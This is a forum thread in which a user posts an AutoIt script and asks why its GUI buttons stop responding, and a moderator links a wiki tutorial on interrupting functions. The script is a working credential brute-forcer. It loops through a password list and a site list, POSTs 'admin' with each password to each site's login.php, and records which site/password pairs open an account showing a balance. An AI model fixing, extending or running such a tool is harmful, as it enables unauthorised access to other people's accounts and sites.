Sign in to follow this  
Followers 0
hipokrasi

GUI buttons doesnt work

3 posts in this topic

Hello!

I am making a script which has three functions and all single function has while loops. as I understand, whenever multiple while loop tries to work, gui buttons arent work. and also makes gui slowdown. Can anyone help me please?

#Include <File.au3>
#include <GUIConstantsEx.au3>
#include <ButtonConstants.au3>
#include <GUIListBox.au3>
#include <GuiStatusBar.au3>
#include <WindowsConstants.au3>
#include <Constants.au3>
#NoTrayIcon


AutoItSetOption("MUSTDECLAREVARS",0)



Opt("TrayOnEventMode",1)
Opt("TrayMenuMode",1)   
TraySetOnEvent($TRAY_EVENT_PRIMARYDOUBLE,"SpecialEvent")
TraySetState()

Func SpecialEvent()
    Select
        Case @TRAY_ID = $TRAY_EVENT_PRIMARYDOUBLE
            GUISetState(@SW_SHOW)
    EndSelect
EndFunc




Opt('MustDeclareVars', 0)


Example()



Func Example()
    Local $MESSAGE = "The following buttons have been clicked"
    global $button0, $Button1, $Button2, $List1, $msg
    
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("knt system v1.0", 380, 239, 189, 114)
$List1 = GUICtrlCreateList("", 8, 32, 361, 123)
$StatusBar1 = _GUICtrlStatusBar_Create($Form1)
_GUICtrlStatusBar_SetBkColor($StatusBar1, 0xC0C0C0)
$Group1 = GUICtrlCreateGroup("durum", 0, 16, 377, 153)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Button0 = GUICtrlCreateButton("start", 136, 184, 75, 25)
$Button1 = GUICtrlCreateButton("hide window", 216, 184, 75, 25)
$Button2 = GUICtrlCreateButton("cl&ear", 296, 184, 75, 25)
GUISetState(@SW_SHOW)

guibuttons()


#EndRegion ### END Koda GUI section ###


EndFunc   ;==>Example

func guibuttons()
    $msg = 0
    While $msg <> $GUI_EVENT_CLOSE

        $msg = GUIGetMsg()

        Select
            Case $msg = $button0
                start()
            Case $msg = $button1
                GUISetState(@SW_HIDE)
            Case $msg = $button2
                GUICtrlSetData($List1, "")
            EndSelect
            ;sleep(10)
    WEnd
EndFunc














Func start()
$settingsini = "Settings.ini"

global $i = 1

$resume = IniRead($settingsini, "Line", "Line number",0)
if $resume > 1 then 
$box = MsgBox(3," Dikkat!","Bir önceki arama işleminde, " & $resume & ". satırda işlem durdurulmuş." & @CR & "İşlemi kaldığı yerden devam ettirmek ister misiniz?")
if $box = 6 then
    $i = $resume
else 
    if $box = 2 then
        exit
        endif
    endif
endif


global $PassFileLines = _FileCountLines("sifreler.txt")
while $i <= $PassFileLines
    
    Gopages(FileReadLine("sifreler.txt",$i))
    IniWrite($settingsini, "Line", "Line number", $i)
    $i += 1
wend
EndFunc






Func Gopages($pass)
    global $oHTTP=ObjCreate("winhttp.winhttprequest.5.1")
    
    local $iss = 1
    global $PageFileLines = _FileCountLines("Siteler.txt")
    while $iss <= $PageFileLines
    sendget(FileReadLine("siteler.txt",$iss),"admin",$pass)

    $iss += 1
    wend
    $oHTTP=0
    
EndFunc

;global $page, $user, $password
Func SendGet($page,$user,$password)
    With $oHTTP
         sleep(100)
        .Open('GET',$page, False)
        .SetRequestHeader('User-Agent', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; eBook; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
         sleep(100)
        .Send()
        $sesid = stringsplit($oHTTP.GetResponseHeader("Set-Cookie"),chr(32))
         sleep(100)
        .Open('POST',  $page & '/login.php', False)
        .SetRequestHeader('User-Agent', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; eBook; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
        .SetRequestHeader('Content-Type','application/x-www-form-urlencoded')
        .SetRequestHeader('Cookie',$sesid[1])
         sleep(100)
        .Send('cxemail=' & $user & '&cxsifre=' & $password & '&isl=bayilogin')
        global $stfind = StringInStr($oHTTP.ResponseText(),"bulunan bakiye") 
        if $stfind > 0 then IniWrite($settingsini, "Başarılı", $page, $password)
;~         if $stfind = 0 then TrayTip("Deneme durumu... Toplam şifre: " & $PassFileLines , $i & ". Satırdaki " & $password & " şifresi  " & $page & " sayfasında deneniyor... " , 5, 1)
        GUICtrlSetData($List1, "Password:" & $password & " deneniyor" & $page & "is false")
        if $stfind = 0 then ConsoleWrite('Giriş başarısız: '&$page&@cr)
    EndWith

EndFunc

Share this post


Link to post
Share on other sites



hipokrasi,

Take a look at the Interrupting a running function tutorial in the Wiki - it shows a number of ways to do it. ;)

M23


Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind._______My UDFs:

Spoiler

ArrayMultiColSort ---- Sort arrays on multiple columns
ChooseFileFolder ---- Single and multiple selections from specified path treeview listing
Date_Time_Convert -- Easily convert date/time formats, including the language used
ExtMsgBox --------- A highly customisable replacement for MsgBox
GUIExtender -------- Extend and retract multiple sections within a GUI
GUIFrame ---------- Subdivide GUIs into many adjustable frames
GUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView items
GUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeView
Marquee ----------- Scrolling tickertape GUIs
NoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxes
Notify ------------- Small notifications on the edge of the display
Scrollbars ----------Automatically sized scrollbars with a single command
StringSize ---------- Automatically size controls to fit text
Toast -------------- Small GUIs which pop out of the notification area

 

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0